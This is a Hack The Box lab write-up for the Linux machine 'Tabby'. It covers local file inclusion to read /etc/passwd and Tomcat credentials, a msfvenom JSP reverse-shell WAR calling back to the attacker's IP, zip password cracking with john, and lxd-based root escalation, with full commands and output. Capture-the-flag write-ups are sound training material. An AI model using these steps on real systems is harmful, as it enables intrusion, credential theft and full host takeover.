HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Tabby

Last updated 2 years ago

Was this helpful?

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.194 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Mon Mar 21 13:40:10 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.194
Warning: 10.10.10.194 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.194
Host is up (0.41s latency).
Not shown: 53771 filtered tcp ports (no-response), 11761 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

# Nmap done at Mon Mar 21 13:40:50 2022 -- 1 IP address (1 host up) scanned in 39.98 seconds

As we see, port 22 (SSH), port 80 (HTTP), and port 8080 (HTTP) are open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p22,80,8080 10.10.10.194 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Mon Mar 21 13:41:13 2022 as: nmap -sCV -p22,80,8080 -oN targeted 10.10.10.194
Nmap scan report for 10.10.10.194
Host is up (0.093s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 21 13:41:26 2022 -- 1 IP address (1 host up) scanned in 12.21 seconds

Let's try to enumerate the website a bit more with whatweb.

whatweb http://10.10.10.194

http://10.10.10.194 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[sales@megahosting.com,sales@megahosting.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.194], JQuery[1.11.2], Modernizr[2.8.3-respond-1.4.2.min], Script, Title[Mega Hosting], X-UA-Compatible[IE=edge]

Let's add the megahosting.htb domain, which appears in the email, to the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.194    megahosting.htb

Now, let's take a look at the website.

If we take a look at the website on port 8080, we'll see a Tomcat page.

Exploitation

If we hit on the NEWS button of the home page, we'll be redirected to the news.php file.

If we take a look at the ULR, we'll see that it has statement as the value of the file parameter.

http://megahosting.htb/news.php?file=statement

We can try to make a Local File Inclusion (LFI) attack. If we set the file parameter to ../../../../../../etc/passwd, we'll be able to see the /etc/passwd file of the Tabby machine.

curl -s 'http://megahosting.htb/news.php?file=../../../../../../etc/passwd'

  • -s silent mode.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash

We know that the user ash exists. Now that we can list the content of files on the Tabby machine, we could try to enumerate users by listing the content of the tomcat-users.xml file, which is located in the /usr/share/tomcat9/etc/ folder.

curl -s 'http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml'

  • -s silent mode.

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

And we get the tomcat user and the $3cureP4s5w0rd123! password. Back to the tomcat web page, we can see that there are two links that in which we can authenticate.

If you try to log in with the credentials we found before to the manager_webapp link, you will be rejected, but if you try to log into the host-manager_webapp, you will get in.

Time to get a shell. We'll have to upload a malicious .war file to the tomcat web page. The problem is that the /host-manager/html doesn't have an option to upload .war files. But we can do it with curl. First, let's create the malicious file with msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.19 lport=4444 -f war -o shell.war

  • -p indicates the type of payload.

  • lhost local host IP.

  • lport local port of the listener.

  • -f output format.

  • -o save the output to a file.

Payload size: 1092 bytes
Final size of war file: 1092 bytes
Saved as: shell.war

Now let's upload it with curl.

curl -s -u 'tomcat:$3cureP4s5w0rd123!' 'http://10.10.10.194:8080/manager/text/deploy?path=/shell' --upload-file shell.war

OK - Deployed application at context path [/shell]

We can verify that it is uploaded with the following command.

curl -s -u 'tomcat:$3cureP4s5w0rd123!' 'http://10.10.10.194:8080/manager/text/list'

Before executing it, we'll have to set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

If we now access the /shell directory, we should get a reverse shell as the tomcat user on the netcat listener.

http://10.10.10.194:8080/shell/

listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.194] 57982
whoami
tomcat

Privilege Escalation

First of all, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we take a look at the /var/www/html we'll see the /files/ folder, which contains a .zip backup file.

ls -la /var/www/html/files/

total 36
drwxr-xr-x 4 ash  ash  4096 Aug 19  2021 .
drwxr-xr-x 4 root root 4096 Aug 19  2021 ..
-rw-r--r-- 1 ash  ash  8716 Jun 16  2020 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Aug 19  2021 archive
drwxr-xr-x 2 root root 4096 Aug 19  2021 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16  2020 statement

Let's transfer it to our machine. Set an HTTP server on the victim machine with python.

python3 -m http.server 1234

And download the backup file on our local machine.

wget http://10.10.10.194:1234/16162020_backup.zip

--2022-03-21 20:57:09--  http://10.10.10.194:1234/16162020_backup.zip
Connecting to 10.10.10.194:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8716 (8.5K) [application/zip]
Saving to: ‘16162020_backup.zip’

16162020_backup.zip                       100%[=====================================================================================>]   8.51K  --.-KB/s    in 0.003s  

2022-03-21 20:57:09 (2.88 MB/s) - ‘16162020_backup.zip’ saved [8716/8716]

If we now try to unzip it, it will ask for a password.

unzip 16162020_backup.zip

Archive:  16162020_backup.zip
   creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:

We can try to break it with john. First, let's covert the backup file to a format that john will understand.

zip2john 16162020_backup.zip > zipjohn

ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: TS_chk, cmplen=338, decmplen=766, crc=282B6DE2 ts=7DB5 cs=7db5 type=8
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6 ts=5935 cs=5935 type=8
ver 1.0 efh 5455 efh 7875 ** 2b ** 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: TS_chk, cmplen=2906, decmplen=2894, crc=02F9F45F ts=5D46 cs=5d46 type=0
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: TS_chk, cmplen=114, decmplen=123, crc=5C67F19E ts=5A7A cs=5a7a type=8
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3 ts=6A8B cs=6a8b type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

Now we can break it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt zipjohn

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (16162020_backup.zip)     
1g 0:00:00:06 DONE (2022-03-21 21:03) 0.1531g/s 1586Kp/s 1586Kc/s 1586KC/s adornadis..adj071007
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

And we get the admin@it password. We could try to become ash user we found earlier with that password, and we'll be able to get the user flag.

su ash

Password: admin@it                                                                                                                                                             
ash@tabby:/var/www/html/files$ whoami                                                                                                                                   
ash                                                                                                                                                                     
ash@tabby:/var/www/html/files$ cat /home/ash/user.txt                                                                                                                   
cd60d191aa2ddc55a8c2b8ce8f419b40

If we see which groups the user ash belongs to, we can see that he belongs to the group lxd.

id

uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

As the ash user belongs to the lxd group, there is a way that we can become root. First, let's download the build-alpine image for lxd on our local machine as the root user.

wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

--2022-03-21 21:50:32--  https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8060 (7.9K) [text/plain]
Saving to: ‘build-alpine’

build-alpine                              100%[=====================================================================================>]   7.87K  --.-KB/s    in 0.006s  

2022-03-21 21:50:32 (1.35 MB/s) - ‘build-alpine’ saved [8060/8060]

Then, give it execution permissions, and run it.

chmod +x build-alpine

./build-alpine

This will generate a .tar.gz file, which we'll have to transfer to the Tabby machine.

python -m http.server 80

Go to the /dev/shm directory on the victim machine, and download the .tar.gz file.

wget http://10.10.14.19/alpine-v3.15-x86_64-20220321_2150.tar.gz

--2022-03-21 20:52:02--  http://10.10.14.19/alpine-v3.15-x86_64-20220321_2150.tar.gz                                                                                    
Connecting to 10.10.14.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3233646 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.15-x86_64-20220321_2150.tar.gz’

alpine-v3.15-x86_64-20220321_2150.tar.gz  100%[=====================================================================================>]   3.08M  1.94MB/s    in 1.6s    

2022-03-21 20:52:04 (1.94 MB/s) - ‘alpine-v3.15-x86_64-20220321_2150.tar.gz’ saved [3233646/3233646]

If we use lxc to list containers, we'll see that the system can not find the binary because the path is not included on the PATH variable.

lxc list

Command 'lxc' is available in '/snap/bin/lxc'
The command could not be located because '/snap/bin' is not included in the PATH environment variable.
lxc: command not found

So let's add the path to the PATH variable.

export PATH=$PATH:/snap/bin

echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Now we can list containers.

lxc list

+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+

There are no containers. Now the idea is to create a container and mount the root file system into the container. First, let's import the Alpine image.

lxc image import alpine-v3.15-x86_64-20220321_2150.tar.gz --alias privEscImage

Image imported with fingerprint: c9f637b4f8381d950f69b1afa8505a2fccbf9adabd0dfbc82bfef9a805641793

Then execute the following command, always keeping the default option.

lxd init

Would you like to use LXD clustering? (yes/no) [default=no]: 
Do you want to configure a new storage pool? (yes/no) [default=yes]: 
Name of the new storage pool [default=default]: 
Name of the storage backend to use (zfs, ceph, btrfs, dir, lvm) [default=zfs]: 
Create a new ZFS pool? (yes/no) [default=yes]: 
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]: 
Size in GB of the new loop device (1GB minimum) [default=5GB]: 
Would you like to connect to a MAAS server? (yes/no) [default=no]: 
Would you like to create a new local network bridge? (yes/no) [default=yes]: 
What should the new bridge be called? [default=lxdbr0]: 
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
Would you like the LXD server to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

Now let's create a container with the image.

lxc init privEscImage privEscCont -c security.privileged=true

  • init action to take, starting a container

  • privEscImage the image to start

  • privEscCont the alias for the running container

  • -c security.privileged=true by default, containers run as a non-root UID. This runs the container as root, giving it access to the host filesystem as root

Creating privEscCont

Now, let's mount the root file system to the /mnt/root folder of the container.

lxc config device add privEscCont privEscDevice disk source=/ path=/mnt/root

Device privEscDevice added to privEscCont

If we now list the containers, we'll see our privEscCont, but it is stopped.

lxc list

+-------------+---------+------+------+-----------+-----------+
|    NAME     |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |
+-------------+---------+------+------+-----------+-----------+
| privEscCont | STOPPED |      |      | CONTAINER | 0         |
+-------------+---------+------+------+-----------+-----------+

Let's start it.

lxc start privEscCont

And get a shell inside the container.

lxc exec privEscCont /bin/sh

~ # whoami
root
~ # hostname 
privEscCont

If we go to the /mnt/root directory, we'll see the entire file system of the Tabby machine.

ls -l /mnt/root

total 84
lrwxrwxrwx    1 root     root             7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x    3 root     root          4096 Aug 19  2021 boot
drwxr-xr-x    2 root     root          4096 Aug 19  2021 cdrom
drwxr-xr-x    5 root     root          4096 Apr 23  2020 dev
drwxr-xr-x  100 root     root          4096 Sep  7  2021 etc
drwxr-xr-x    3 root     root          4096 Aug 19  2021 home
lrwxrwxrwx    1 root     root             7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx    1 root     root             9 Apr 23  2020 lib32 -> usr/lib32
lrwxrwxrwx    1 root     root             9 Apr 23  2020 lib64 -> usr/lib64
lrwxrwxrwx    1 root     root            10 Apr 23  2020 libx32 -> usr/libx32
drwx------    2 root     root         16384 May 19  2020 lost+found
drwxr-xr-x    2 root     root          4096 Mar 21 20:53 media
drwxr-xr-x    2 root     root          4096 Aug 19  2021 mnt
drwxr-xr-x    3 root     root          4096 Aug 19  2021 opt
drwxr-xr-x    2 root     root          4096 Aug 19  2021 proc
drwx------    6 root     root          4096 Aug 19  2021 root
drwxr-xr-x   10 root     root          4096 Aug 19  2021 run
lrwxrwxrwx    1 root     root             8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x    7 root     root          4096 Sep  7  2021 snap
drwxr-xr-x    2 root     root          4096 Aug 19  2021 srv
drwxr-xr-x    2 root     root          4096 Aug 19  2021 sys
drwxrwxrwt   14 root     root          4096 Mar 21 21:09 tmp
drwxr-xr-x   14 root     root          4096 Apr 23  2020 usr
drwxr-xr-x   14 root     root          4096 Aug 19  2021 var

To get a shell as root in to Tabby machine, we could set the SUID permission on the bash binary which is located in the /mnt/root/usr/bin directory.

chmod u+s /mnt/root/usr/bin/bash

ls -l /mnt/root/usr/bin/bash

rwsr-xr-x    1 root     root       1183448 Feb 25  2020 /mnt/root/usr/bin/bash

Now, let's exit the container.

exit

And finally, if we execute bash with the permissions of the owner, we will get a shell as root and all we had to do is reap the harvest and take the root flag.

bash -p

bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
632945e04c438f179ae1d2048b3f379b